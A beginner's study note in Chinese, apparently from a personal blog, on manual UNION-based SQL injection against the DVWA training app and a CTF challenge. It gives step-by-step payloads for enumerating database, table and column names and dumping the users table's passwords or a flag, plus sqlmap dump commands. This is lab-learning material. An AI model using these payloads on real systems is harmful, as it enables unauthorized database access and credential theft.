(dvwa low级 真的只是入门)之前某教程扫到的两个网页最近发现都打不开了嘤嘤嘤 那就用dvwa叭!
菜鸟记录一下><补作业&&沉迷线代所以好久没学
dvwa sql injection (low)
step1:
检测注入点
’ 报错
and 1=1 正常
and 1=2 正常,但是无法查询出数据
可以判断大概率有注入点
step2:
用order by 来找字段长度(字段数量?)
order by 3
order by 2
…这样
引用别人的
select bulabulabula 什么的 接一个 order by , order by 1
表示在查询这个表返回多行结果的时候,按第一列的字段开头的值进行排序。数字在前,然后过了是小写,再过了就是大写字母。order by 2 表示按第二列进行排序,从acsii小的值往上排序。如果只有两列,order by 3 则会报错,所以order
by 也可以用来判断列的数量。
step3:
查显位
and 1=2 union select 1,2 (order by长度)
能显示出来的数字就是显位啦,把这个位置替换成各种语句就可以知道各种数据库信息了
step4:
查当前数据库名字
3' and 1=2 union select 1,database()#
发现叫dvwa
step5:查表段名 表段都存放在information_schema 数据库里
用group_concat()
可以找出所有
3' and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()#
step5:
查字段(列)名
3' and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='users'#
step6:
查内容
3' union select user, password from users#
eg:NewsCenter
看到框要想到xss或者sql注入
手工:注入点:1’ union select 1,2,3 # ;
当前数据名:1’ union select 1,database(),3# ;
表:1’ union select 1,table_name,3 from information_schema.tables where table_schema =‘news’ # ;
字段:1’ union select 1,column_name,3 from information_schema.columns where table_name =‘secret_table’ #;
值(就是flag):1’ union select 1,fl4g,3 from secret_table where id =‘1’ #
sqlmap:
python sqlmap.py -r 1.txt --dbs
python sqlmap.py -r 1.txt -D news --dump